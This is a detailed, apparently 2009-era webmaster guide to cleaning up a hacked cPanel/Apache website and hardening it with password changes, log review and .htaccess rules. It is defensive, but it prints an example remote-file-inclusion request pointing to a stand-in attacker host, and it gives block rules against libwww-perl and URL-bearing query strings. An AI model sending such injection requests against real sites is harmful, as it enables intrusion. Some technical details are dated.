How to prevent your site from getting hacked. How to repair a damaged site. Website security precautions.

[This article is frequently updated and expanded. It is gradually being broken apart into separate articles because the Google language translator doesn't translate all the text of large pages.]

[Contrary to one of the tags applied to this article at StumbleUpon, this site has never been hacked in more than 150,000 attempts. Everything reported here is based on experience gained from helping others with compromised sites and from continual study about improved methods of protection.]

Related pages that were previously part of this one:

• What is a website hack? Who is doing it? What do they want? How do they do it?
• How to know if your website has been hacked (symptoms and signs).
• Website passwords: Use a different long random-character password for every purpose.

Bookmarks on this page:

• Hack prevention. How to protect your site.

Step-by-step site repair

• Hopefullly, this detailed step-by-step procedure will help focus on the tasks and avoid panic.
• The concepts apply to any server even though only Linux, Apache, and cPanel methods are described.
• The steps are in order of priority if the evidence you've found so far hasn't already given you a clear idea what things to focus on first.

The reason these procedures are described in so much detail is so that people who have never done them don't have to go hunting around the web for specifics. If you already know the specifics, you'll see that the steps are much less complicated than they look at first glance, and you can skip the long explanations.

If you just start at step 1, focus, and dive in, what you learn now will help you manage your site with a lot more confidence in the future. These are all useful things to know how to do. You might even wind up feeling like an expert.

What not to do

Don't just repair the damaged files and hope this experience doesn't happen again. That is not enough.

Nobody is ever supposed to be able to add, delete, or change files in your website without your permission. It should never happen, and it usually doesn't. Most websites don't get hacked. If yours did, there is something wrong with it, or with the server, or with the webhost, or with the security on your PC. You have to figure out how this happened so you can prevent it from happening again.

Ok, let's get started... The checkboxes are to help keep your place as you go.

1) Log into cPanel

Most webhosts provide some kind of control panel such as cPanel or Plesk where you can manage your website's configuration and files. One reason for logging in now is to check for unauthorized logins as described below. The more important reason is to make sure you know how to do it, because several of the later steps are done in control panel.

If you've never logged into your control panel before now, go to the home page of your webhost's website and look for a customer login box. If there isn't one, look for a FAQ page where they might describe how to access your control panel. If you still find nothing, file a support ticket and ask them. 

In cPanel (and possibly in Plesk), the line that says "Last login from:" should always be your IP address from the last time you logged in. If it isn't, write it down.

If you don't know your IP address, it appears to be 38.103.63.62, but that could be incorrect if you are viewing an old copy of this page from your browser cache or a search engine cache. You can find your IP address in Windows XP by either of these two methods (you must be connected to the internet at the time you do this):

• Click on the internet connection icon in your system tray (lower right of screen) . In the dialog box that opens, click the Details tab, and then read the line that says Client IP address. 
   
• Open a Command Prompt and run the ipconfig program:
  start > Run > cmd
  Type: ipconfig
  Read the line that says IP Address
  Type: exit

With high-speed (broadband, DSL, cable) internet service, your IP is always the same. With dial-up, it's different each time you log on.

If someone was able to log in to your control panel (like you do), they have your userID, password, and all the same access to your site that you have. They can probably also get FTP access, which is what they are more likely to use than cPanel. However, before you assume the worst, an unfamiliar IP could be legitimate if your site is at a webhosting company and you recently submitted a support ticket. A technician might have logged into your account while investigating.

The three pieces of information you should keep from this step are:

1. How to log in to your control panel.
2. Your legitimate IP address, so you can recognize IP addresses that are not yours in places where only yours should be.
3. Suspicious IP addresses you find reported in cPanel.

Leave cPanel open for the next two steps.

2) Enable log archiving in cPanel

Your website access logs keep detailed records of who connects to your site by HTTP (normal visitors) and by FTP (file transfers such as when you publish pages). By default, those logs are usually deleted every day after the stats run (Webalizer, AWStats, ...). Log archiving forces the logs to be saved. If archiving was already on, the attack is most likely recorded, which will be useful later. If it was off, the data is lost unless the daily stats run hasn't been done yet, but subsequent similar attacks, which are likely, will be logged.

1. Go to cPanel > Raw Log Manager (the name varies in different cPanel versions).
2. Check the "Archive Logs..." box.
3. Uncheck the "Remove the previous month's archived logs..." box.
4. Click Save

3) Take your website offline

If your pages have become infected with viruses that will attack your site visitors, which in 2009 is usually the case, you should protect your visitors, and your reputation, by taking your site offline, which involves adding a few lines to your .htaccess and optionally uploading a file. If you do this right away, you might avoid getting the "This site may harm your computer" warning in Google search results and a similar warning at Yahoo.

Are you hesitant to take your site offline? Consider this: a visitor who finds your site down will (or at least might) come back later. A visitor who gets attacked by a virus from your site will probably not come back, ever. 

In addition, it is possible that a script with a security hole was the reason the site got hacked. As long as that script is publicly accessible, the site remains vulnerable, which means it could get hacked again even while you're trying to repair it. 

Lastly, it is possible the attacker installed a back-door script to grant themselves access. Closing the site at least has a chance of locking them out and making it impossible for them to use the script.

4) Notify your web hosting company

File a support ticket.

• Tell them what has happened. Give them as much detail as you can about the evidence that the site is compromised. 
• If you have some idea when it happened, or when you first noticed it, tell them.
• If you found an unknown IP address in cPanel, report it.
• Give them a secondary email address that is not at your website so your host can still contact you if your site goes down or if the hacker is reading or deleting your website email.
• Some webhosts will be willing to help you investigate and clean the site. Others won't, but it doesn't hurt to ask if they can help or give advice. 
• If you're on shared hosting, it is possible that the host is aware of other sites on your server that are affected. They probably won't publicize it and might not even tell you, but your report will help them, even if they don't admit it.
• Also, only your webhost can clean up files outside your webspace that might have been affected.

5) All site administrators do thorough antivirus, antispyware scans

Make sure everyone who has password access to the website does at least one, and preferably two, antivirus and antispyware scans on their local computers, using two different scanners they don't normally use, to find threats that got past the AV scanner they were using. Some free online scanners are at: Trend Micro Housecall, Symantec (Norton), Kaspersky, Windows Live OneCare, BitDefender, Computer Associates, McAfee, and F-Secure.

In 2009, the #1 threat to websites is a type of malware known by the names gumblar, martuz, geno, and others. It infects personal computers. It searches the PC for FTP userID/password pairs and transmits them to other computers. The other computers log in to the websites by FTP and inject the pages with hidden iframes pointing to malicious websites. 

I repeat, to emphasize the point, the #1 reason websites are getting hacked today is that the webmaster's PC is infected. The website will continue to get hacked over and over again, even if the FTP password is changed, until the webmaster's PC is clean.

If the two scans find viruses or Trojans, I'd suggest that you abandon whatever AV program allowed the threats to get through, and start using a different one. It should do real-time scanning of each file as it is saved to disk. On-demand (manual) scanning isn't sufficient to keep your PC protected at all times, and continuous protection of the PC you manage your website with is more important now than it ever has been.

6) Change all passwords: cPanel, FTP, databases, email

When you are certain that the administrator PCs are free of viruses and spyware, change all the website passwords that you use for control panel, FTP, database connections, email, everything. Use strong passwords. If you have been using a single password for more than one purpose, take this opportunity to make every password different. The linked article explains why this is important.

a) If the FrontPage Extensions are installed on the site, change your FrontPage password first:

1. Open your local copy of your site in FrontPage
2. Click the Remote Web Site tab and log in
3. Click Open your Remote Web site in FrontPage (this will open a new copy of FrontPage with your remote site in it)
4. Click Tools > Server > Change Password and follow the instructions. Whenever you get a password prompt during this procedure, it wants the old one. It doesn't want the new one until it asks for it.

b) Log in to your webhosting account and change your cPanel / FTP passwords there

In cPanel, look for a "Change Password" icon or link. If you find none, your webhost might provide a separate login location for making password changes, so search their FAQ, forum, or ask customer support.

If you have scripts that use your cPanel userID/password to open database connections, the password change will cause those scripts to stop working, and you will get connection failure or "Could not connect" errors:

• If the connection data is hard-coded into the scipts, go through the scripts and change the password in all of them. 
• If your scripts read the connection data from an include (or other) file, change it in that file.
• Since you're editing the files anyway, a better and more permanent solution is to stop using your cPanel userID/password, create a different user/password just for database connections, put the connection data in one protected include file, and have all your scripts read the data from that file. The procedure for making that change is described below.

c) Change the passwords you use for database connections

If your scripts connect to your databases as a user that is not your cPanel userID, the password change will not break your scripts. However, the hacker could have read the connection data for all your MySQL users from your files, so change all those passwords, too:

1. Go to cPanel > MySQL® Databases > Current Users.
2. In the list, find the user you want to modify. In shared hosting (and maybe in other environments, too), the username is prefixed with YourUserID_.
3. In Username: enter the name of the user, but do not enter the prefix or the underscore. Enter only the part after the underscore. If the user is userID_example, then you enter example.
4. In Password: enter the new password.
5. Click Create User.
6. The confirmation screen will tell you that the user was created with the new password.
7. When you return to the MySQL Account Maintenance screen, you'll see that you have not really added a user, but only replaced the old one's password, and that this user still has the same privileges in the same databases that it had previously. You will also see that cPanel has automatically added the userID_ prefix to the username.
8. Now change all your scripts to use the new passwords. See the bullet points in section b) above.

d) Change the passwords for all your email accounts

1. Go to: cPanel > Mail > Add/Remove/Manage Accounts.
2. Set a new password for each account.
3. If you access your email with a POP or IMAP email client such as Microsoft Outlook, change its configuration settings so it knows the correct new password for each account. 

7) Investigate and repair the security weakness

This is the most important step of all, to identify why the attack was successful so you can prevent it from happening again. This step and the next one go together and might have to be done at the same time. That is, in order to know what type of attack it was, you need to know what damage it did, which is best discovered while examining the files.

But, however you arrive at the information, before you declare your investigation complete, you should have a clear idea of where the security weakness was, or at least identified a most plausible suspect, and you should have taken at least one significant step toward fixing it.  

The four most common security weaknesses, in order of prevalence:

1. The site password was stolen by spyware on an administrator's PC because it was not well protected by antivirus software. (The gumblar/martuz/geno scenario.) 
    
2. Old versions of third party scripts had security holes. It is important that software for forums, image galleries, blogs, shopping carts, and everything else always be updated to the latest version available, as soon as the new version is announced.
    
3. Homebrew custom PHP, ASP, or CGI scripts were flawed and had security holes that allowed Remote File Inclusion (RFI) or SQL injection. Make sure the settings in your php.ini file are as secure as possible.
   
   If you suspect that a script you wrote yourself might be the security weakness, it is safest to stop using that script until you can examine it for safety. After making a local copy for yourself, delete the script from the server. Removing the links to it isn't enough. As long as the script is on the server, anyone who already knows its name can still access it. If you leave it on the server, at least rename it.
    
4. The site password was easy to guess or short enough to discover with many guesses (brute force).

If you are able to rule out gumblar and its relatives, the next top suspect should be a Remote File Inclusion that succeeded because of poor code and insecure php.ini or .htaccess settings. After RFI, SQL injection is the next most likely suspect. Both types of attacks can be found in your HTTP access logs.

8) Find and repair all the malicious changes that were made

As described in the "What is a website hack?" article (top of this page), after someone has gained access to your site, they can change anything they want and can do an extraordinary amount of damage. In order of most to least common:

• Alter .html, .php, and other text web pages, usually to inject iframes, JavaScript, links, PHP, or other malicious code.
• Modify contents of your databases, usually to inject the same types of content listed above, so it will appear on your pages.
• Add new files into your website.
• Add executable programs to let the attackers "manage" your website files remotely, grant them access even after you clean up (back doors), send spam, connect to IRC servers for botnet communications, mass-attack other websites, etc.
• Subvert the operating system, putting the entire server under the control of a remote operator.

However, they rarely do all those things because a server so massively compromised would be quickly noticed, and they don't want that. Usually, they do the first or second item and possibly the third, meaning that you will probably have to clean up malicious changes in your website files or database tables, and look for new files that shouldn't be there.

Two "clean sweep" shortcuts: replace entire website from known-good backups

Steps 8a) to 8d) describe ways to locate and repair files that have been maliciously altered, which can be a time-consuming and painstaking chore, especially if you're not comfortable working with HTML code.

In some cases, it can save time to simply replace everything that might have been damaged with fresh copies that you know are clean. However, doing this destroys the evidence you might need for determining how the attack occurred and how to prevent it happening again. Therefore, before doing this, you should have already answered the questions in Step 7 above, or should make a copy of the hacked site so you can study it later: 

• Less drastic - replace contents of public_html: If you are thoroughly familiar with what is in your public_html folder and you are certain this method won't destroy irreplaceable files, you can use cPanel > File Manager or FTP to delete all the files and folders inside /public_html (but don't delete the public_html folder itself) and republish the entire site from a known-good backup.
  
  It will still be a good idea to look for damaged files or malicious new ones in your root directory (/) and its other subdirectories other than public_html.
   
• More drastic - reprovision the account: To really start fresh at a shared host, you can ask the host to "reprovision" your account, to recreate it as though it is brand new. You lose your historical logs and stats and must build the site up from nothing. I recommend against this unless all other options have failed. 

If you have published your site from known-good backups, you can skip a ton of trouble and go to Step 9)!

8a) Get a complete listing of all the files in your website

There are three methods to examine the directory information of files in your website: shell command (cron), FTP, and cPanel File Manager (Sections 8a, 8b, 8c).

Linux "cron" allows you to run a shell command that emails to you a complete listing of all your files, showing for each the name, timestamp, size, owner, and all the permissions settings. This listing is very handy, an easy way to examine filenames and ownership and to use a text editor to search for insecure permission levels. The description for this task has been moved to a separate article due to its length. Follow the link in the section heading above. Ctrl+Click will open it in a new window so you can keep your place in this one.

How to use the directory listing:

It is ideal if you have a similar list that you made previously when the site was clean. You can compare the two to find files that have changed size, files whose timestamps or permissions are not what they should be, and new files that shouldn't be there.

If you don't have a known-good list to compare against, you can still review the new list for files that seem out of place or have wrong ownership or permissions. This will be discussed below.

8b) Examine your site's files in cPanel > File Manager

FileManager allows you to easily review filenames and permissions, but it doesn't show any other information about the files, and navigating up and down the directory tree is a tedious process. File and folder permissions are shown numerically. The article linked above at "Get a complete listing" describes how to translate between numeric "755" and "rwx" notation.

8c) Examine your site's files using FTP

In an FTP view of your website, the folders and files look like what you are used to in Windows Explorer, with a navigational directory tree pane on the left and a folder contents pane on the right. FTP view is easy to navigate, and it allows sorting on the Date Modified column to easily spot recently changed files. If you are unfamiliar with viewing your site by FTP, the link in this section's title should be useful to you. It describes how to use Windows Explorer for FTP and has a link to a free program that does it better.

8d) What to look for in the list of files

• Pages with modified dates more recent than you last saved the page yourself. Inspect each modified page to see if code has been added to it. Malicious changes to your displayable website pages often take the form of invisible iframes or "obfuscated" JavaScript. A separate article, what to do when Google flags your website with a "This site may harm your computer" warning, describes how to locate and identify malicious iframes and JavaScript, with examples. It also describes how the domain name referenced in the iframe can help discover the method by which your website was hacked.
  
  If malicious JavaScript or iframes were added to your pages, the intent of the attack was probably to launch browser exploits against your site's visitors.
   
• New files with obviously suspicious names. Some hacks install files with names like hacked.html or vulnerable.php, etc. Others might have nonsensical names or names consisting of random character strings. Some might be in locations that make them suspicious, like a .php file in your /images folder. If you find a file that was definitely installed by the attack, search for other files that have almost the exact same timestamp.
   
• Files you don't recognize. Determine whether each one is malicious or not. You can examine plain text PHP (.php) or Perl (.pl) scripts in a text editor.
  
  Unfortunately, you cannot simply delete all the files that aren't yours. Some are required system files that you just never noticed before. When in doubt, do a web search on the filename or post a question in a forum. Research the names of unfamiliar CGI programs, since they cannot be examined visually.
  
  If an exploit modified files on your server but didn't affect your displayable pages, it suggests that your site visitors weren't the target of the attack. Instead, it might have been trying to turn your site into a spam emailer or into a robot crawler to attack other sites, or to install on your site a library of malicious scripts or other content to be called by injected iframes or RFI attacks on other websites.
   
• Check your root directory ("/") and its subdirectories for malicious or altered files. Even if you delete the contents of your public_html and republish the site from scratch, that doesn't overwrite your folders above public_html, so you must check those manually.
   

9) Check that your file and folder permissions are secure

Using the complete file list you made, or FileManager, make sure all file and folder permissions are what they should be.

When in doubt, you can compare the permissions of similar or neighboring files and folders. A hacker is unlikely to bother with changing all permissions.

Review the brief "RWX" explanation above and apply common sense. Your site visitors are "World", so World needs Read access to files they are supposed to see. World should almost never have Write access to anything.

Although different hosts have different configurations, common permissions for world-accessible folders are 755, and common permissions for world-accessible files are 644. 

If you start running across what look like permissions modifications, you will need to study permissions settings more carefully and do a detailed investigation of each file and folder. Some files and folders have unusual permissions settings for valid reasons.

A hacker can modify file or folder permissions to allow them to get back in even after you clean up everything else in your site. If they can give themselves Write permission to one folder, they can upload exploit scripts, run them, and reinstall the hack.

10) Change all your passwords again

In case someone was "watching" inside your site while you did it the first time, do it again now that you know the site is clean.

11) Try to identify the IP address that attacked you

This is not to hunt down the attacker, which is usually pointless (most are robots, and there are millions of them). Rather, the IP address helps find other important information about the attack.

If you can identify their IP address, you will be able to search all your logs for all the places where that IP address appears. That will help identify what weak part of your site was attacked, how it was attacked, and what malicious actions were performed.

Stats programs like Analog, Webalizer, or AWStats won't be much help because they generate aggregated statistics. You need the details about individual page requests.

cPanel > Web/FTP Stats > Latest Visitors is useful and easy. It's a good place to go when you first discover the problem, but it's only a start. The full raw logs are a better source of information.

a) If you have never used your site's raw access logs before, get a program to unzip .gz files:

You website's raw access logs are stored and sent to you as gzipped files. One program that will easily extract .gz files is 7-Zip. It is a command line utility that you run from a "Command Prompt" (aka "DOS box").

b) Get your logs from cPanel > Raw Log Manager

1. Go to cPanel > Raw Log Manager. If you don't see a log file there, try cPanel > Raw Access Logs. That is a holding file where your data is stored until the server does its daily statistics processing, after which it is transferred to Raw Log Manager.
2. Click the name of the file you want to download.
3. At the Open or Save prompt, click Save. Use a descriptive filename. Save the file to a folder that will be easy to navigate to in a Command Prompt. C:\TEMP works well.
4. Open a Command Prompt:
   Start > All Programs > Accessories > Command Prompt, or
   Start > Run > cmd.exe
5. Go to the folder where you saved the .gz file: cd \TEMP
6. Type the command line to extract the .gz file: 7za.exe x filename.gz
7. You should get a report that says "Everything is Ok".
8. I usually delete the .gz file and rename the output file to .log.
9. WordPad is good for viewing these log files as text (if they are less than about 12MB). Set the font to a monospaced font, with word wrap Off.
10. If you are comfortable using Microsoft Access, the Webstats.mdb database has tables into which you can import your log files.
11. The HTTP log will also import into Excel, but you will need to tweak the text import wizard settings to get the fields into their columns properly.

Go through the logs carefully, looking for suspicious activity in the days before the attack occurred, and keep monitoring your logs in case they come back, which they often do.

Your regular log shows HTTP accesses, your normal site visitors.

In the log entries, review the field called REMOTE_USER, User, or UserID. This field is blank ("-") most of the time. Where it does have a value, make sure it's your UserID and that the IP address is yours.

Mixed in with all the legitimate requests, look for attempts to GET pages that don't exist (result code = 404), especially when the request looks like:

GET /filename.php?inc=http://badsite.com/badscript.txt.

These are looking for vulnerable scripts and attempting to inject code into them. They are called Remote File Inclusion (RFI) attacks. They are extremely common, dangerous, and often successful.

Look for requests where the action is not GET, but PUT (very suspicious) or POST (only suspicious if none of your pages ever use it).

Try to correlate entries in your log with other site activity. For example, a hacked file will have a timestamp showing when it was modified. If your HTTP log shows that someone requested one of your .php files at the moment of the timestamp, that is very suspicious, especially if the GET command contained code like the above (...php?inc=). In the example above, you would examine filename.php for security vulnerabilities. This is how your logs can help identify how a hacker got in. 

In the above example, you could also use your browser to download the badscript.txt file for inspection. If it calls other files from other sites, you can go get those, too. Following the trail and examining the code will reveal what the attack did to your site. Make sure your antivirus software is up-to-date. Some of these files (PHP scripts) would normally only be hazardous to your server, not to your home PC and browser, but others (especially the second-level ones called by the original PHP script) will directly try to infect your PC with viruses. Wget is a useful utility for retrieving potentially hazardous files without allowing them to be processed by a browser.

Your FTP log shows FTP accesses, one way that malicious people or robots can download your pages, modify them, and upload them back to your website. The only IP addresses in the FTP log should be yours and other authorized FTP users. Make sure the timestamps match times you were logged in and doing transfers.

There is reference information about FTP log file format at Apple Developer Connection. 

I've seen reports of numerous instances where a webhost spotted in an FTP log a transfer from an IP address other than that of the site owner and immediately informed the owner that their password had been stolen. In too many of these instances, the surrounding circumstances make the webhost's claim unbelievable. Here is an alternative explanation:

PHP scripts called by RFI attacks sometimes use PHP's FTP file transfer functions to download additional malicious scripts and related files from a remote server so it can run or install them. The initial RFI includes the remote script into a legitimate script on the victim server, at which point it becomes a part of that script. The script then initiates an FTP transfer, which is recorded in the FTP log. The server does not show its own IP address in the FTP log, but rather that of the second party to the transfer, the remote website. The log of the session makes it appear as though someone logged in (which would have required the password) and initiated an FTP transfer, but in fact there never was a login. There didn't have to be one, because the session was initiated on the server, from the inside.

Remember this as a possibility if you find IP addresses other than yours in your FTP log or if your webhost tries to convince you too quickly, without considering other evidence, that your password "must have been" cracked. The danger of believing this easy story line (if it is not true) is that it can lead you to believe that all you have to do is change your password. However, if the real initiator of the FTP transfer was an RFI attack, changing your password won't help at all.

c) Use .htaccess or cPanel > Deny IP to block the hacker's HTTP access to your site

If you identified the hacker's IP address, one site where you can look it up to get more information about it is http://whois.domaintools.com/.

You can ban the IP address from your site using your public_html/.htaccess file. Apache documentation for this is at: http://httpd.apache.org/docs/1.3/mod/mod_access.html.

Review the instructions in a prior article for how to open .htaccess for editing. As described there, insert the following line in a part of the file that is not enclosed in HTML-like tags.

deny from nnn.nnn.nnn.nnn

The nnn's are the IP address to block.

If the hacker returns with a different IP that is in the same IP range (i.e. using the same ISP), you can block the whole range for a while, although that carries the risk of banning legitimate visitors, too.

The Apache documentation has instructions for banning a range. Some IP ranges are easily specified using a simple wildcard notation. Others ranges can only be successfully defined using "CIDR/netmask" notation. Although it looks intimidating, it's easy after the first time you do it. See the separate article describing how to calculate and use the CIDR/netmask.

d) If the hacker has obtained access to your cPanel or FTP, banning their IP address in .htaccess will NOT keep them out of cPanel and FTP.

If they have scripts that they call by HTTP, it will prevent them from doing that, but only until they log into cPanel and un-ban themselves in .htaccess.

12) Report or go after the hacker legally?

Hacking is a violation of the terms of service for any legitimate webhost or ISP. If you can prove conclusively that someone is using a particular IP address for hacking (or spamming, too), you could report the incident to the webhost or ISP in hopes that they might shut the perpetrator down. The contact email is often abuse@ the company.

However, your chances of getting anywhere with this aren't very great. Even if you succeed, it's a drop in the bucket. Although you might feel as though you are in a battle of wits with a wily adversary, it is thousands of times more likely that you were hit by an automated drive-by attack that is playing a percentage game, with malicious requests being launched against millions of websites, from hundreds of malicious servers. If one is shut down, it's just a cost of doing business for them. 

It is a more worthwhile use of your time to do everything you can to protect your site from all hackers, regardless of who they are, and understand that there will be a constant flood of attacks against your site.

What to do NOW to protect your website

Website security precautions

1) Use a different strong password in every location where a password is required

2) Don't weaken your server's file and folder permissions.

Each file and folder on your server has permissions settings that determine who can read or write that file, execute that program, or enter that folder. Your webhost initially created your webspace with secure permission settings on all files and folders.

Do not modify the permissions until you know what you're doing. Don't guess. One mistake can allow anyone else on your shared server to put files on your site or allow anyone in the world to put files there by first getting into a weaker website on your shared server and running a malicious PHP script from there.

In particular, people having trouble installing web applications are sometimes told, "try setting the permissions to 777". Never do this until you have asked your webhost if it is safe on your particular server configuration. Also remember that for some web applications, 777 is only used during the installation, and must not be left that way. Also remember to delete the install scripts after use, if the instructions tell you to.

A separate article has a short explanation of permissions settings.

3) Choose third party scripts carefully

Don't load your website down with every cool script, gadget, feature, function, and code snippet you can find on the web. Any one of them could be an avenue of attack. Before you use one, do a web search to discover if it has caused problems for others. One place you can look up vulnerabilities is Secunia.com. There is a link to their website at the bottom of this page.

4) Keep third party scripts up to date

If you use third party scripts like Coppermine, WordPress, SMF, phpBB, or others, get on a mailing list, RSS feed, or visit forums where updates are announced. When a security update is released, install it promptly. When a vulnerability is found in a popular script, it will be exploited soon by a lot of hackers because it gives them entry to a large number of sites.

5) Write your own scripts securely

• Learn about the security risks of every language you use.
• When you use an unfamiliar function for the first time, look it up in the manual to see if it has security implications, do's and don'ts.
• For PHP, use a php.ini file to block common avenues of attack.
• There are lots of online resources for learning how to code securely.

A vulnerable script can give hackers access to your user database and to financial or other confidential data.

• All data that comes into your script from the outside world is a security hazard. If your script receives outside data from a user form submission or from a URL query string or from a cookie, the input must be cleaned before it is used to include a file or access a database. An example of how one injection exploit works is at this Lunarforums post.

6) Block suspicious activity with .htaccess

Regularly look through your raw access logs. They will probably reveal attacks of the types described in this article. Even if the attempts are unsuccessful, your logs give early warning about what methods are being used, which gives you time to figure out how to defend against them. It won't be long before you can tell what is a legitimate request and what is malicious. Here are some examples of how to block suspicious activity:

1. Ban bad robots.
   One program often misused for automated remote file inclusion attacks is called  "libwww-perl". The RFI cannot succeed if your server refuses to serve the file, so blocking this commonly malicious User-Agent can be one defense in a multi-layer approach. (Another layer is to use secure php.ini settings.) Put the following lines in your public_html/.htaccess, in a part of the file that is not delimited by HTML-style tags like <tag></tag>: 

SetEnvIfNoCase User-Agent libwww-perl block_bad_bots
# to deny more User-Agents, copy the line above and change
# only libwww-perl, to match the new name.
deny from env=block_bad_bots

SetEnvIfNoCase does a case-insensitive test of the User-Agent against a regular expression, which in this case is "contains libwww-perl". If it matches, it sets the variable block_bad_bots. The final line says if block_bad_bots was set (i.e. if the requestor matched any of the bad robots), deny the request and send a 403 Forbidden error instead. Regardless of what the bad robot was trying to do, it won't succeed.

2. Ban suspicious URL query strings.
   Another defense against RFI is to block all requests having the form:
   GET /index.php?inc=http://badsite.com/badscript.txt?
   The following .htaccess code blocks any request where the query string (the part after the first question mark) contains "=http://" or "=ftp://". During times when you need to use a query string of that type yourself, you can comment out the code block or enable the exception shown:

RewriteCond %{QUERY_STRING} ^.*=(ht|f)tp\://.*$ [NC]
# Allow yourself, for SMF Forum Package Manager upgrades.
# Set it to your own IP address so you are the only one who won't be blocked.
#RewriteCond %{REMOTE_ADDR} !^111\.222\.333\.444$ [NC]
RewriteRule .* - [F,L]

To test: you should get a 403 Forbidden error when you try to go to:

http://yoursite.com?test=http://yoursite.com/anypage.htm
http://yoursite.com?test=ftp://yoursite.com/anypage.htm

If you have coded your pages so they use remote file includes from your own site or from some external site (such that your site receives requests, constructed by you, that have URLs in the query strings), my first advice is that you should try to stop doing that:

• Instead of sending your own site a request that has a URL in the query string, you can put in the query string a text string that the receiving page translates into a URL after it receives it. That way, your script can't be tricked by someone who sends it a malicious URL instead of one of the legitimate ones it expects.

If you must send your own site requests that have URLs in the query strings, you can use a more complicated .htaccess to allow your own remote file inclusion requests but ban others:

# FIRST, DISALLOW QUERY STRINGS CONTAINING MORE INSTANCES OF http://
# THAN WE EVER USE OURSELVES, TO LIMIT THE NUMBER OF TESTS WE MUST DO LATER.
# THIS EXAMPLE ALLOWS ONLY INSTANCE PER QUERY STRING.
RewriteCond %{QUERY_STRING} (.*http(\:|%3A)(/|%2F)(/|%2F).*){2,} [NC]
RewriteRule .* - [F,L]

# NOW WE CAN TEST EACH INSTANCE AGAINST THE LIST OF SITES WE WANT TO ALLOW.
# SINCE THIS IS A NEW REWRITE RULE, WE MUST TEST AGAIN WHETHER IT CONTAINS http://
RewriteCond %{QUERY_STRING} http(\:|%3A)(/|%2F)(/|%2F) [NC]

# THEN FALL THROUGH TO THE BAN IF IT IS NOT ONE OF THE SITES IN OUR ALLOW LIST.
RewriteCond %{QUERY_STRING} !(http(\:|%3A)(/|%2F)(/|%2F)(www\.)?site1\.com) [NC]
RewriteCond %{QUERY_STRING} !(http(\:|%3A)(/|%2F)(/|%2F)(www\.)?site2\.com) [NC]
#ADD A LINE FOR EACH EXTERNAL SITE YOU WANT TO ALLOW TO APPEAR IN QUERY STRINGS.

RewriteRule .* - [F,L]

Allowing for more than one instance of http:// in your query strings is possible. It requires complex code that we can custom design for you if needed.

Other query string bans:

1) Malicious RFI attempts almost always have a question mark at the end of the query string. Ban any query string that contains a question mark. The first question mark (which marks the beginning of the query string) is not part of the query string, so only question marks after the first one will trigger the ban:

RewriteCond %{QUERY_STRING} (\?|%3F) [NC]
RewriteRule .* - [F,L]

2) Be creative: find other characteristics that are common in the attacks on your site but that are never present in legitimate requests. Be thorough: use every good ban rule you can think of. "Good enough" is not good enough. It is very satisfying to see an attack on your site and know that even though it only needed to trigger one ban rule to fail, there were six others in reserve that it would have triggered.

3. Ban IP addresses responsible for suspicious activity.
   You can block IP addresses (or ranges) in .htaccess or by cPanel > Deny IP. Although such bans can be useful against IP addresses you are 100% certain will never make a legitimate request, they aren't otherwise very practical. Once a botnet starts attacking your site, the requests will come from hundreds of different IPs, and banning them all will be futile. It is much better to ban by the other characteristics of the requests.

7) Keep spyware off your computer. Prevent password interception.

• Use good quality antivirus software to keep your computer free of viruses and Trojan downloaders that can install spyware. 
• If you use a wireless network, make sure it is not open to eavesdroppers.
• If you're worried about your password being intercepted between you and your server, use encrypted https to log in to your server, and use secure FTP (SFTP).

Preparations that will make hack diagnosis and cleanup easier

1) Turn on log archiving in cPanel

Your raw HTTP and FTP logs are an important source of information after an attack, but they are only helpful if you've enabled archiving to prevent them being deleted each day. Periodically download and review the logs to see what kinds of attacks are being launched against your site. As is so often the case, becoming familiar with what is normal will help you detect when something is not. Accumulated logs can take a lot of disk space, so you might want to delete old ones from the server periodically.

2) Get a complete list of your site files NOW while they are known-good

This will be a baseline list of all the files that are supposed to be in your website. If your site gets damaged, this list will help you decide whether a file you don't recognize is new or is just a system file that you never noticed before.

3) Explore your website and become familiar with what is there

Not just your pages, but the whole site, using FTP or File Manager or the complete file list you made. If you get used to what is normal, things that aren't will catch your attention.

4) Use good database connection practices in scripts:

a) Create separate MySQL users for your scripts to use

If you use your cPanel userID and password for database connections in your scripts, then changing your cPanel password will instantly break all your scripts until you recode them to use the new password.

Instead, create one or more new users, completely unrelated to your cPanel login, that your scripts can use for their database connections:

1. Go to cPanel > MySQL® Databases > Current Users.
2. In Username: enter the name of the user to create. Although the existing user names might appear as YourUserID_username, don't enter the prefix and underscore. cPanel will do that for you, if needed.
3. In Password: enter the password to use. Make it a strong one.
4. Click Create User, read the confirmation screen, and then Go Back to the MySQL Account Maintenance page.
5. Go to the Add Users To Your Databases section.
6. In the left dropdown box, select the user you just created.
7. In the right dropdown box, select the database you want that user to be able to connect to.
8. Select the Privileges you want that user to have for that database, by checking the appropriate boxes. Select only the privileges the user really needs for performing whatever tasks your scripts will do. Granting only limited privileges is a security precaution.
9. Click Add User To Database. Your new user now has the specified privileges, for that database only. Add the user to other databases, if needed.

Now update your scripts so they use the connection data for this new user instead of your old cPanel user. However, ...

b) Put your MySQL connection data in a well protected file

If each of your scripts has its own code block for database connection, then if you are hacked and have to change your passwords, you'll have to hunt through all your files to find every code block that needs changing.

Instead, put all your database connection code in one central location such as an include file that is well-protected from web access, and make all your scripts read it from there. There are examples and some discussion about how to do this in the User Contributed Notes at http://us.php.net/mysql_connect. You can protect your include file by putting it in a folder above public_html, or in any folder that is closed to web access by an .htaccess file, or by the other methods mentioned in the php.net Notes.

Unfortunately, none of these protection methods will keep your data safe from someone who has actually gotten into your site, but the new database connection method you have just created will make it easy to change your password (in just one place) if that does happen.

Other sources of website security information

Questions and comments are welcome in the discussion forum. I get an email when a new message is posted. For more intensive assistance, complex questions and tutoring, custom .htaccess files, or if you want some of these procedures done for you, see the Services link at the top of this page.